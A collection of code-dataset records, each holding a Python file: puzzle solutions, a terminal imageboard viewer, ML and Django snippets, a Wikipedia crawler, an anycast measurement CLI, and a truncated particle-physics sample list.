+{"seq_id":"319033998","text":"'''Problem 4 Project Euler Norman J. Harman Jr. <njharman@gmail.com>\n\nA palindromic number reads the same both ways. The largest palindrome made from\nthe product of two 2-digit numbers is 9009 = 91*99.\n\nFind the largest palindrome made from the product of two 3-digit numbers.\n'''\nfrom euler import run, test\n\n\ndef _palindromic(number):\n    # Holy cow! am I missing easy way to reverse string? ''.join(reversed('abc'))\n    itoa = str(number)\n    for i, c in enumerate(reversed(itoa)):\n        if c != itoa[i]:\n            return False\n    return True\n\n\ndef _palindromes(digits):\n    '''1.2412s for 1000 runs with digits 3.'''\n    start = pow(10, digits) - 1\n    end = pow(10, digits - 1) - 1\n    for x in range(start, end, - 1):\n        iota = str(x)\n        yield int(iota + ''.join(reversed(iota)))\n\n\ndef _numbers(digits):\n    sucks = set()\n    for i in range(pow(10, digits), 0, -1):\n        for j in range(pow(10, digits), 0, -1):\n            sucks.add(i * j)\n    sucks = list(sucks)\n    sucks.sort(reverse=True)\n    for s in sucks:\n        yield s\n\n\ndef brute():\n    '''Almost first thought / brute force attempt.\n    Too slow, .0009s\n    '''\n    palindrome = 0\n    for i in range(99, 0, -1):\n        for j in range(99, 0, -1):\n            candidate = i * j\n            if _palindromic(candidate) and candidate > palindrome:\n                palindrome = candidate\n    return palindrome\n\n\ndef brute2():\n    '''Assumption x*y > (x-1*y and x*y-1). Iterating down, the first palindrome\n    will be the largest.\n    Hmmm, just had thought of finding all the palindromes first\n    '''\n    for i in range(99, 0, -1):\n        for i in range(i, max(1, i - 10), -1):\n            x = y = i\n        for candidate in (i * i, i * (i - 1)):\n            if palindromic(candidate):\n                return\n\n\ndef backwards():\n    '''Find large palindromes, check if factorable...\n    '''\n    pals = list(_palindromes(2))\n    for c in _numbers(2):\n        if c in pals:\n            return c\n    return 0\n\n\nrun(backwards, 9009)\n","sub_path":"python/004.py","file_name":"004.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"251939885","text":"import urwid, requests, re\n\nfrom html import unescape\nfrom html.parser import HTMLParser\n\nfrom customUrwidClasses import QuoteButton\n\nfrom postClass import Post\n\nclass ChanThreadBuilder():\n    def getJSONThread(self):\n        response = requests.get(self.url + '.json', headers=self.headers)\n        data = response.json()\n        return self.parseFourThread(data)\n\n    def parseFourThread(self, data):\n        commentObjList = []\n        posts = data[\"posts\"]\n\n        for post in posts:\n            if str(post[\"resto\"]) == '0':\n                self.currentThreadOPNumber = str(post[\"no\"])\n\n            p = Post(\n                str(post['no']),\n                post['com'] if 'com' in post else \"\",\n                post['now'] if 'now' in post else post['time'],\n                self.imgPrefix + self.boardString + str(post[\"tim\"]) + post[\"ext\"] if 'ext' in post else ''\n            )\n\n            commentObjList.append(p)\n\n        return commentObjList\n\n    def buildFrame(self):\n        listbox = self.buildThread()\n        return urwid.Pile([listbox])\n\n    def buildThread(self):\n        self.postWidgetDict = {}\n\n        for p in self.comments:\n            self.postReplyDict[str(p.userIden)] = []\n\n            commentWidget = self.notBrainletCommentTagParser(p)\n\n            if self.uFilter:\n                if self.uFilter.lower() in p.content.lower():\n                    self.postWidgetDict[p.userIden] = commentWidget\n            else:\n                self.postWidgetDict[p.userIden] = commentWidget\n\n        postWidgetList = []\n        for pNum, pWidget in self.postWidgetDict.items():\n            if pNum in self.postReplyDict:\n                pWidget.append(urwid.Text('Replies: ' + str(self.postReplyDict[pNum])))\n            postWidgetList.append(urwid.LineBox(urwid.Pile(pWidget)))\n\n        self.parsedItems = len(self.comments)\n\n\n        listbox_content = postWidgetList\n        listbox = urwid.ListBox(urwid.SimpleListWalker(listbox_content))\n\n        return listbox\n\n    def notBrainletCommentTagParser(self, post):\n        widgetContent = []\n        rawCommentText = post.content\n        unescape(rawCommentText)\n        parent = self\n\n        class CommentParser(HTMLParser):\n            currTag = ''\n\n            def handle_starttag(self, tag, attrs):\n                self.currTag = str(tag)\n\n            def handle_endtag(self, tag):\n                self.currTag = ''\n\n            def handle_data(self, data):\n                if self.currTag == 'span':\n                    widgetContent.append(urwid.AttrWrap(urwid.Text(str(data)), 'greenText'))\n                elif self.currTag == 'a':\n                    if str(parent.currentThreadOPNumber) == data[2:]:\n                        data += '(OP)'\n\n                    try:\n                        parent.postReplyDict[data[2:].split('(')[0]].append(str(post.userIden))\n                    except KeyError:\n                        pass\n\n                    widgetContent.append(urwid.AttrWrap(QuoteButton(str(data), parent.uvm), 'quote'))\n                else:\n                    widgetContent.append(urwid.Text(data))\n\n        p = CommentParser()\n        p.feed(rawCommentText)\n\n        widgetContent.append(urwid.Divider())\n        widgetContent.append(urwid.Divider('-'))\n\n        if post.image:\n            widgetContent.append(urwid.Text('URL: ' + str(post.image)))\n        else:\n            widgetContent.append(urwid.Text('URL: '))\n\n        return widgetContent\n","sub_path":"src/Frames/builders/chanThreadVisual.py","file_name":"chanThreadVisual.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"535710395","text":"import matplotlib.pyplot as plt \nimport pandas as pd \nimport numpy as np \n\n# Data Preparation\ndf = pd.read_csv('user_visit_duration.csv')\ndf.head()\ndf.plot(kind='scatter', x='Time (min)', y='Buy')\n\nX = df[['Time (min)']].values\ny = df['Buy'].values\n\n# Model Building\nfrom keras.wrappers.scikit_learn import KerasClassifier\n\ndef build_logistic_regression_model():\n    model = Sequential()\n    model.add(Dense(1, input_shape=(1,), activation='sigmoid'))\n    model.compile(SGD(lr=0.5),\n                  'binary_crossentropy',\n                  metrics=['accuracy'])\n    return model\n\nmodel = KerasClassifier(build_fn=build_logistic_regression_model,\n                        epochs=25,\n                        verbose=0)\n\nfrom sklearn.model_selection import cross_val_score, KFold\ncv = KFold(3, shuffle=True)\nscores = cross_val_score(model, X, y, cv=cv)\nscores \n\n# Evaluation\nprint(\"The cross validation accuracy is {:0.4f} ± {:0.4f}\".format(scores.mean(), scores.std()))\n","sub_path":"cross_validation.py","file_name":"cross_validation.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"228045586","text":"from .client import get_client\n\n\ndef group(user_id):\n    client = get_client()\n\n    page_size = 100\n    offset    = 0\n\n    return client.get('/users/{0}/groups'.format(user_id), order='created_at',\n                                                           limit=page_size,\n                                                           offset=offset)\n","sub_path":"soundcloud_cli/api/groups.py","file_name":"groups.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"128556186","text":"import collections\n\n\ndef f(s):\n    n = len(s)\n    d = collections.Counter(s)\n    oddCount = 0\n    for c in d:\n        if d[c] % 2 == 1:\n            oddCount += 1\n    if (n % 2 == 0 and oddCount > 0) or oddCount > 1:\n        return \"NO SOLUTION\"\n    center = \"\"\n    left = \"\"\n    for c in d:\n        left += c * (d[c] // 2)\n        if d[c] % 2 == 1:\n            center = c\n    return left + center + left[::-1]\n\n\ns = input()\nprint(f(s))\n","sub_path":"cses/Introductory Problems/Palindrome_Reorder.py","file_name":"Palindrome_Reorder.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"635488168","text":"# 模拟掷骰子\n\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\n\np_list = []\n\n\n# 掷骰子类\nclass Roll:\n    def __init__(self):\n        roll_num = 0\n\n    def roll_dice(self):\n        roll_num = random.randint(1, 6)\n        return roll_num\n\n\ndef main():\n    times = 10000\n\n    roll_num_sum = [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]\n    roll_list = [0] * 11\n    roll_list_now = []\n    roll_dicotionary = dict(zip(roll_num_sum, roll_list))\n\n    # 散点图数据\n    roll1_list = []\n    roll2_list = []\n\n    # 实例化roll\n    roll = Roll()\n\n    for i in range(times):\n        # 调用roll中的roll_dice方法\n        roll_01 = roll.roll_dice()\n        roll_02 = roll.roll_dice()\n\n        roll1_list.append(roll_01)\n        roll2_list.append(roll_02)\n\n        for j in range(2, 13):\n            if (roll_01 + roll_02) == j:\n                roll_dicotionary[j] += 1\n\n    for i, result in roll_dicotionary.items():\n        print(\"点数{}出现的次数是{}，概率是{}\".format(i, result, result / times))\n        global p_list\n        p_list.append(result / times)\n\n    # 数据可视化\n    plt.stem(roll_num_sum, p_list, use_line_collection=True)\n    plt.show()\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"zhishaozi.py","file_name":"zhishaozi.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"192254649","text":"\"\"\"core URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\n\nfrom rest_framework import permissions\nfrom drf_yasg.views import get_schema_view\nfrom drf_yasg import openapi\n\nfrom accounts import views as accounts_views\nfrom generator import views as generator_views\n\nschema_view = get_schema_view(\n    openapi.Info(\n        title=\"Lab-Template API\",\n        default_version=\"v1\",\n        description=\"\",\n        terms_of_service=\"https://www.google.com/policies/terms/\",\n        contact=openapi.Contact(email=\"ddk.2000.ddk@gmail.com\"),\n        license=openapi.License(name=\"BSD License\"),\n    ),\n    public=True,\n    permission_classes=(permissions.AllowAny,),\n)\n\n\nurlpatterns = [\n    path(\"api/lessons/<int:pk>/disconnect/\", generator_views.DisconnectView.as_view()),\n    path(\n        \"api/lessons/<int:pk>/lab/\",\n        generator_views.DocumentView.as_view(),\n        name=\"generator\",\n    ),\n    path(\"api/lessons/update/\", generator_views.UpdateFromRozkladView.as_view()),\n    path(\"api/lessons/\", generator_views.LessonListView.as_view(), name=\"lessons\"),\n    path(\"api/auth/\", accounts_views.AuthTokenAPIView.as_view(), name=\"login\"),\n    path(\n        \"api/auth/register/\", accounts_views.RegisterAPIView.as_view(), name=\"register\"\n    ),\n    path(\"\", schema_view.with_ui(\"redoc\", cache_timeout=0), name=\"schema-redoc\"),\n    path(\"admin/\", admin.site.urls),\n]\n","sub_path":"Diakonov_Denys/back/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"317799043","text":"#!/usr/bin/python3\n\n#####################\n### Configuration ###\n#####################\nstartLocation = \"/wiki/blues\"\nstartPrettyLocation = \"Blues\"\nsubLocations = [\"Subgenres\", \"Stylistic origins\", \"Fusion genres\"]\nfilename = \"d\";\n\nimport wibp\nimport json\nimport re\n\ndef normalizeLocation(location):\n\tlocation = location.lower()\n\tregex = re.compile('[^a-zA-Z0-9]');\n\tlocation = regex.sub('', location)\n\treturn location\n\ndef locationWasNotYetVisited(location, history):\n\tnormalizedLocation = normalizeLocation(location);\n\tif normalizedLocation in history:\n\t\treturn False\n\telse:\n\t\thistory.append(normalizedLocation)\n\t\treturn True;\n\n\nlocationsHistory = [startLocation]\t \t# The locations that have ever been queued (becomes only larger)\nlocationQueue = [startLocation]\t\t\t# The current location queue (becomes larger and smaller)\nprettyLocations = {startLocation: startPrettyLocation}\nitems = []\ntext = [];\n\nwhile locationQueue:\n\tlocation = locationQueue.pop()\n\tprint(\"reading \" + location + \" (\" + prettyLocations[location] + \")...\")\n\titem = wibp.getInfobox(location)\n\titem[\"__key__\"] = location\n\titem[\"__name__\"] = prettyLocations[location]\n\titems.append(item)\n\n\tfor topic in item:\n\t\tif topic in subLocations:\n\t\t\tfor location in item[topic]:\n\t\t\t\tprettyLocations[location] = item[topic][location]\n\t\t\t\tif locationWasNotYetVisited(location, locationsHistory):\n\t\t\t\t\tlocationQueue.append(location)\n\n\tprint(\"Length: \", len(items))\n\n\ttext.append(json.dumps(item, sort_keys=True, indent=4))\n\ntext = \"[\" + \",\\n\".join(text) + \"]\";\noutputFile = open(filename, 'w')\noutputFile.write(text)\noutputFile.close()","sub_path":"getWikiInfoBox/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"15220220","text":"#!/usr/bin/env python3\n###############################################################################\n# Verfploeter CLI \n# Thu Jul  4 13:43:19 UTC 2019\n# @copyright sand-project.nl - Joao Ceron - ceron@botlog.org\n###############################################################################\n\n###############################################################################\n### Python modules\nimport os\nimport sys\nimport re\nimport pandas as pd\nimport argparse\nimport threading\nimport queue as queue\nimport time \nfrom argparse import RawTextHelpFormatter\nfrom os import linesep\nimport importlib\nimport logging\nimport IP2Location\n#from multiprocessing import Pool\nimport imp\nimport multiprocessing\nimport numpy as np\nimport cursor\n###############################################################################\n### Program settings\nverbose = False\nversion = 0.9\nprogram_name = os.path.basename(__file__)\n###############################################################################\n### Subrotines\n\n#------------------------------------------------------------------------------\ndef set_log_level(log_level=logging.INFO):\n    \"\"\"Sets the log level of the notebook. Per default this is 'INFO' but\n    can be changed.\n    :param level: level to be passed to logging (defaults to 'INFO')\n    :type level: str\n    \"\"\"\n    imp.reload(logging)\n    logging.basicConfig(\n            level=log_level,\n\t    format='%(asctime)s.%(msecs)03d %(levelname)s - %(message)s', \n            datefmt='%Y-%m-%d %H:%M:%S',\n    )\n\n\n#------------------------------------------------------------------------------\ndef parser_args ():\n\n    #parser = argparse.ArgumentParser(prog=program_name, usage='%(prog)s [options]', formatter_class=RawTextHelpFormatter)\n    parser = argparse.ArgumentParser(prog=program_name, usage='%(prog)s [options]')\n    parser.add_argument(\"--version\", help=\"print version and exit\", action=\"store_true\")\n    parser.add_argument(\"-v\",\"--verbose\", help=\"print info msg\", action=\"store_true\")\n    parser.add_argument(\"-d\",\"--debug\", help=\"print debug info\", action=\"store_true\")\n    parser.add_argument(\"-q\",\"--quiet\", help=\"ignore animation\", action=\"store_true\")\n    parser.add_argument('-f','--file', nargs='?', help=\"Verfploeter measurement output file\")\n    parser.add_argument(\"-n\",\"--normalize\", help=\"remove inconsistency from the measurement dataset and rebuild geolocation\", action=\"store_true\")\n    parser.add_argument(\"-g\",\"--geo\",  nargs='+', help=\"geo-location database - IP2Location (BIN)\")\n    parser.add_argument(\"--hitlist\",  nargs='+', help=\"IPv4 hitlist - used to find unknown stats\", dest=\"hitlist\")\n    parser.add_argument('-s','--source', nargs='?', help=\"Verfploeter source pinger node to be inserted as metadata\")\n    parser.add_argument('-b','--bgp', nargs='?', help=\"BGP policy to be inserted as metadata\" )\n    parser.add_argument('-w','--weight', nargs='+', help=\"File used to weight the /24. Use the SIDN load file.\")\n    parser.add_argument(\"--csv\", help=\"print server load distribution using csv\", action=\"store_true\")\n\n    # TODO block and country\n#    parser.add_argument(\"--stats\", dest=\"stats\",  choices=[\"load\", \"block\", \"country\"], default=\"\",\n#\thelp=\"show stats from the vp measurement. Potential options:\" + linesep +\n#\t        linesep.join(\"    \" + name for name in [\"load (default)\", \"block\", \"country\"]))\n    return parser\n\n#------------------------------------------------------------------------------\n# ## remove inconsistency and add metadata field\ndef check_metadata_from_df(ret,df,args):\n  \n    # remove inconsistency\n    if (args.debug):\n        logging.debug(\"Before removing inconsistency: \\\"%d\\\"\", len(df))\n\n    # set timestamp as the first transmited packet for the whole measurement\n    df['timestamp'] = pd.to_datetime(df['transmit_time'],unit='ns', utc=True)\n    df['id'] = df['transmit_time'].min()\n\n    df = df[df['destination_address'] == df['meta_source_address']]\n    df = df[df['source_address'] == df['meta_destination_address']]\n    df['src_net'] =  df.source_address.str.extract('(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.)\\\\d{1,3}')+\"0\"\n    df = df.fillna(0)\n    df.drop_duplicates(subset=\"src_net\",keep='first', inplace=True)\n\n    # rename columns\n    df.rename( columns={'send_receive_time_diff':'rtt',\n                        'source_address_country': 'country',\n                        'source_address_asn': 'asn',\n                        'client_id': 'catchment',\n                       }\n              ,inplace=True)\n    df = df.drop(columns=['source_address','destination_address','meta_source_address',\\\n                'meta_destination_address','task_id','transmit_time','receive_time'])\n\n\n    if (args.debug):\n        logging.debug(\"After removing inconsistency: \\\"%d\\\"\", len(df))\n    ret.put(df)\n\n#------------------------------------------------------------------------------\n# print loading animation\ndef animated_loading(flag):\n\n    if (flag == 0 ):\n        msg = \"loading dataframe     \"\n        chars = \"▁▂▃▄▅▆▇█▇▆▅▄▃▁\"\n    if (flag == 1 ):\n        chars = \"◢ ◣ ◤ ◥\"\n        msg = \"removing incosistency \"\n    if (flag == 2):\n        chars = \"▖▘▝▗\"\n        msg = \"inserting metadata    \"\n    if (flag == 3):\n        chars = \"▖▘▝▗\"\n        msg = \"finding geo info      \"\n    cursor.hide()\n\n    if (flag == 4):\n        chars = \"⣾⣽⣻⢿⡿⣟⣯⣷\"\n        msg = \"saving dataframe      \"\n    cursor.hide()\n\n    for char in chars:\n\n        sys.stdout.write('\\r'+msg+''+char)\n        time.sleep(.1)\n        sys.stdout.flush()\n    cursor.show()\n\n#------------------------------------------------------------------------------\n# load the dataframe \ndef load_df (ret,file):\n\n\tlogging.debug(\"loading the dataframe\") \n#\tdf = pd.read_csv(file, sep=\",\", index_col=False, low_memory=False, skiprows=0, nrows=100)\n\tdf = pd.read_csv(file, sep=\",\", index_col=False, low_memory=False, skiprows=0)\n\tret.put(df) \n\n#------------------------------------------------------------------------------\n# add metadata\ndef insert_metadata(ret,df,args):\n\n    # add extra metadata info\n    # origin = node that has started the ping process\n    # bgp = current bgp announces\n    df['origin'] = args.source\n    df['bgp'] = args.bgp\n    ret.put(df) \n\n#------------------------------------------------------------------------------\n# call metadata insertion\ndef add_metadata(df,args):\n\n    ## check for metadata and pre-processing tasks\n    logging.info(\"inserting dataframe metadata\")\n\n    # add extra metadata info\n    # origin = node that has started the ping process\n    # bgp = current bgp announces\n    df['origin'] = args.source\n    df['bgp'] = args.bgp\n \n    #ret = queue.Queue()\n    #the_process = threading.Thread(name='process', target=insert_metadata, args=(ret,df,args))\n    #the_process.start()\n    #while the_process.isAlive():\n    #\tanimated_loading(2) if not (args.quiet) else 0\n    #the_process.join()\n    #df = ret.get()\n\n    return(df)\n\n#------------------------------------------------------------------------------\n# add geo info in the dataframe\ndef ip2location_info(src_net, args,df):\n    ip2location = args.ip2location\n\n    rec = ip2location.get_all(src_net)\n    country_short = (rec.country_short).decode(\"utf-8\") if rec.country_short else \"Unknown\"\n    region = (rec.region).decode(\"utf-8\") if rec.region else \"Unknown\"\n    lat = rec.latitude if  rec.latitude else 0\n    lon = rec.longitude if rec.longitude else 0\n    \n    result = \"{};{};{};{}\".format(country_short,region,lat,lon)\n    return  (result)\n\n\n\n#------------------------------------------------------------------------------\n# add geo  - threading\ndef get_geo_info(params): \n\n    df = params[0]\n    output_file = params[1]\n    ip2locationdb = params[2]\n\n    ip2location = IP2Location.IP2Location()\n    ip2location.open(ip2locationdb)\n    \n    # country\n    f = lambda x: ip2location.get_country_short(x)\n    df['country_ip2location'] = df['src_net'].apply(f)\n    df['country_ip2location'] = df['country_ip2location'].str.decode(\"utf-8\").str.replace(\",\",\"\")\n    \n    # region\n    f = lambda x: ip2location.get_region(x)\n    df['region'] = df['src_net'].apply(f)\n    df['region'] = df['region'].str.decode(\"utf-8\").str.replace(\",\",\"\")\n    \n    f = lambda x: ip2location.get_latitude(x)\n    df['latitude'] = df['src_net'].apply(f)\n    \n    f = lambda x: ip2location.get_longitude(x)\n    df['longitude'] = df['src_net'].apply(f)   \n    df = df.fillna(0) \n    return ([df, output_file])\n\n#------------------------------------------------------------------------------\n#\ndef collect_results(params):\n\n    result = params[0]\n    output_file = params[1]\n\n    df_array.append(result)\n   \n    if not (os.path.isfile(output_file)):\n        with open(output_file, 'a') as f:\n            result.to_csv(f, header=True)\n    else: \n        with open(output_file, 'a') as f:\n            result.to_csv(f, header=False)\n\n#------------------------------------------------------------------------------\n# plot the graph\ndef bar(row):\n    percent = int(row['percent'])\n    bar_chunks, remainder = divmod(int(percent * 8 / increment), 8)\n    count = str(row['counts'])\n    label = row['site']\n    percent = str(percent)\n\n    bar = '█' * bar_chunks\n    if remainder > 0:\n        bar += chr(ord('█') + (8 - remainder))\n    # If the bar is empty, add a left one-eighth block\n    bar = bar or  '▏'\n    print (\"{} | {} - {}%  {}\".format( label.rjust(longest_label_length), count.rjust(longest_count_length),percent.rjust(3), bar ))\n    return ()\n\n#------------------------------------------------------------------------------\n# save df - threading\ndef save_df(ret,args,df):\n\n    outputfile = re.sub('.csv.*', '', args.file)+\".csv.norm\"\n    df.to_csv(outputfile,index=False, compression=\"gzip\")\n    ret.put(outputfile)\n\n#------------------------------------------------------------------------------\n# load the dataframe and remove inconsistency\ndef init_load(args):\n\n    file = args.file\n    ## load dataframe\n    logging.info(\"reading the dataframe - file {}\".format(file)) \n    logging.debug(\"reading the dataframe - file {}\".format(file)) \n    ret = queue.Queue()\n    the_process = threading.Thread(name='process', target=load_df, args=(ret,file))\n    the_process.start()\n    while the_process.isAlive():\n    \tanimated_loading(0) if not (args.quiet) else 0\n    the_process.join()\n    df = ret.get()\n    \n    # not enought lines\n    if (df.size<3):\n\n        sys.exit(\"{} has not enought lines to be processed\".format(args.file))\n        \n    if not 'transmit_time' in df.columns:\n        return (df)\n\n    ## check for metadata and pre-processing tasks\n    logging.debug(\"checking dataframe metadata\")\n    logging.info(\"checking dataframe metadata\")\n    ret = queue.Queue()\n    the_process = threading.Thread(name='process', target=check_metadata_from_df, args=(ret,df,args))\n    the_process.start()\n    while the_process.isAlive():\n    \tanimated_loading(1) if not (args.quiet) else 0\n    the_process.join()\n    df = ret.get()\n    \n    return (df)\n\n\n#------------------------------------------------------------------------------\n# check parameters\ndef add_weight(filename,df):\n\n    df_load = pd.read_csv(filename,names=['netblock','weight'], index_col=False, low_memory=False, skiprows=0)\n    df_load = df_load.sort_values(by='netblock')\n    df_aux = pd.merge(df, df_load, left_on='src_net',right_on='netblock',how='left')\n    del df_aux['netblock']\n    df_aux.fillna('0', inplace=True)\n    df_aux['weight'] = df_aux['weight'].astype(int)\n    return (df_aux)\n\n#------------------------------------------------------------------------------\n# check parameters\ndef evaluate_args():\n    parser = parser_args()\n    args = parser.parse_args()\n\n    if (args.debug):\n        set_log_level('DEBUG')\n        args.quiet=True\n        logging.debug(args)\n\n    if (args.version):\n        print (version)\n        sys.exit(0)\n    \n    if (args.verbose):\n        verbose=True\n        set_log_level('INFO')\n        args.quiet=True\n \n    if (args.geo):\n        file = args.geo[0]\n        if not (os.path.isfile(file)):\n            print (\"Geo database file not found: {}\".format(file))\n            sys.exit(0)\n\n    if (args.weight):\n        file = args.weight[0]\n        if not (os.path.isfile(file)):\n            print (\"Weight file not found: {}\".format(file))\n            sys.exit(0)\n\n    if (args.file):\n        file = args.file\n        if not (os.path.isfile(file)):\n            print (\"file not found: {}\".format(file))\n            sys.exit(0)\n    \n    else:\n        print (\"You have to define the filename\")\n        parser.print_help()\n        sys.exit(0)\n\n    return (args)\n\n###############################################################################\n### Main Process\n\nargs = evaluate_args()\ndf_array = []\n\nlogging.debug(\"init\")\n\n# load DF\ndf = init_load(args)\n\n\n# add weight \nif (args.weight):\n    logging.debug(\"Add load based on file {}\".format(args.weight[0]))\n    file_weight = args.weight[0]\n    df = add_weight(file_weight,df)\n\n# add information about geo-location using IP2location\nif (args.normalize):\n\n    # add extra metadata info\n    # origin = node that has started the ping process\n    # bgp = current bgp announces\n    df['origin'] = args.source\n    df['bgp'] = args.bgp\n\n    ## check for metadata and pre-processing tasks\n    logging.info(\"saving normalized file\") \n    logging.debug(\"saving normalized file\")\n    \n    # geo is not specify dont do anything\n    if not (args.geo):\n        logging.debug(\"no geo database provided\")\n        print (\"In file converstion (-n) you must pass the geolocation database\")\n        sys.exit(1)\n    \n    chunksize = 100\n    print (\"\\r geolocating the dataframe   \")\n    pool = multiprocessing.Pool(processes=multiprocessing.cpu_count())\n    logging.info('Starting MP')\n\n    outputfile = re.sub('.csv.*', '', args.file)+\".csv.norm\"\n    ip2locationdb = args.geo[0]\n  \n    for df_split in np.array_split(df, chunksize):\n        result = pool.apply_async(get_geo_info, args=[(df_split,outputfile,ip2locationdb)], callback=collect_results)\n    pool.close()\n    pool.join()\n\n    logging.info('Done MP')\n    logging.debug('Done MP')\n\n    # zip file\n    logging.debug(\"saving dataframe ... {} done!\".format(outputfile))\n    logging.info(\"saving dataframe ... {} done!\".format(outputfile))\n    print (\"\\r\"+outputfile)\n\n\n## provide load distribution per site\nelse:\n\n    # new stats df \n    if (args.weight):\n        logging.debug(\"Stats considering the weight\")\n        df_summary = df[df.weight>0].catchment.value_counts()\n    else:\n        df_summary = df.catchment.value_counts()\n\n    if (args.hitlist):\n\n        logging.debug (\"add infos about unknown data [hitlist - received packages]\")\n        # total lines in the hitlist\n        total_lines_hitlist = len(open(args.hitlist[0]).readlines())\n        unknown = (total_lines_hitlist - df.catchment.value_counts().sum())\n        df_summary = df_summary.append(pd.Series({'unknown' : unknown}))\n\n    # prepare dataframe \n    df_summary = df_summary.reset_index()\n    df_summary.columns = ['site', 'counts']\n    df_summary['percent'] = (df_summary['counts']/df_summary['counts'].sum()).mul(100).round(1).astype(int)\n\n    if (args.csv):\n\n        header =  (','.join([i for i in df_summary.columns.tolist()]))\n        print (\"#timestamp,{}\".format(int(time.time())))\n        print (\"#\"+header)\n        if not (args.hitlist):\n            print (\"#hitllist was not provided\")\n        if (args.weight):\n            print (\"#weight assigned\")\n        print (df_summary.to_csv(index=False,header=False))\n\n    else:\n\n        # print ascii bar chart\n        max_value = df_summary.percent.max()\n        increment = max_value / 25\n        longest_label_length = len(df_summary['site'].max())\n        longest_count_length = len(df_summary['counts'].max().astype(str))\n        ret  = df_summary.apply(bar, axis=1)\n\n\nif not (args.quiet):\n    cursor.show()\nsys.exit(0)\n","sub_path":"vp-cli.py","file_name":"vp-cli.py","file_ext":"py","file_size_in_byte":15913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"281770211","text":"from ROOT import *\nimport array\nimport PyCintex\nPyCintex.Cintex.Enable()\ngROOT.SetStyle('Plain')\n\nimport os, re\nimport glob\nimport sys\nsys.path.append('./python/')\n\nfrom define_samples import *  ## File with the definition of the samples: x-sec, color, marco samples definitions\n\n## Listo of the samples to be include inthe the analysis\n\ndata_samples = [\n  physics_Egamma,\n  physics_Muons\n]\n\nmc_sig_samples = [\n  PowHegPythia_ggH130_ZZllqq\n]\n\nmc_bkg_samples = [\n  McAtNlo_JIMMY_WpWm_enuenu, \n  McAtNlo_JIMMY_WpWm_enumunu,\n  McAtNlo_JIMMY_WpWm_enutaunu,\n  McAtNlo_JIMMY_WpWm_munumunu,\n  McAtNlo_JIMMY_WpWm_munuenu,\n  McAtNlo_JIMMY_WpWm_munutaunu,\n  McAtNlo_JIMMY_WpWm_taunutaunu,\n  McAtNlo_JIMMY_WpWm_taunuenu,\n  McAtNlo_JIMMY_WpWm_taunumunu,\n  McAtNlo_JIMMY_ZZ_llqq,\n  McAtNlo_JIMMY_ZZ_llll,\n  McAtNlo_JIMMY_ZZ_llnunu,\n  McAtNlo_JIMMY_WpZ_lnuqq,\n  McAtNlo_JIMMY_WpZ_lnull,\n  McAtNlo_JIMMY_WpZ_qqll,\n  McAtNlo_JIMMY_WmZ_lnuqq,\n  McAtNlo_JIMMY_WmZ_lnull,\n  McAtNlo_JIMMY_WmZ_qqll,\n  AlpgenJimmyZtautauNp0_pt20,\n  AlpgenJimmyZtautauNp1_pt20,\n  AlpgenJimmyZtautauNp2_pt20,\n  AlpgenJimmyZtautauNp3_pt20,\n  AlpgenJimmyZtautauNp4_pt20,\n  AlpgenJimmyZtautauNp5_pt20,\n  AlpgenJimmyZtautaubbNp0_nofilter,\n  AlpgenJimmyZtautaubbNp1_nofilter,\n  AlpgenJimmyZtautaubbNp2_nofilter,\n  AlpgenJimmyZtautaubbNp3_nofilter,\n  AlpgenJimmyZeeNp0_pt20,\n  AlpgenJimmyZeeNp1_pt20,\n  AlpgenJimmyZeeNp2_pt20,\n  AlpgenJimmyZeeNp3_pt20,\n  AlpgenJimmyZeeNp4_pt20,\n  AlpgenJimmyZeeNp5_pt20,\n  AlpgenJimmyZeebbNp0_nofilter,\n  AlpgenJimmyZeebbNp1_nofilter,\n  AlpgenJimmyZeebbNp2_nofilter,\n  AlpgenJimmyZeebbNp3_nofilter,\n  AlpgenJimmyZmumuNp0_pt20,\n  AlpgenJimmyZmumuNp1_pt20,\n  AlpgenJimmyZmumuNp2_pt20,\n  AlpgenJimmyZmumuNp3_pt20,\n  AlpgenJimmyZmumuNp4_pt20,\n  AlpgenJimmyZmumuNp5_pt20,\n  AlpgenJimmyZmumubbNp0_nofilter,\n  AlpgenJimmyZmumubbNp1_nofilter,\n  AlpgenJimmyZmumubbNp2_nofilter,\n  AlpgenJimmyZmumubbNp3_nofilter,\n  AlpgenJimmyWenuNp0_pt20,\n  AlpgenJimmyWenuNp1_pt20,\n  AlpgenJimmyWenuNp2_pt20,\n  AlpgenJimmyWenuNp3_pt20,\n  AlpgenJimmyWenuNp4_pt20,\n  AlpgenJimmyWenuNp5_pt20,\n  AlpgenJimmyWmunuNp0_pt20,\n 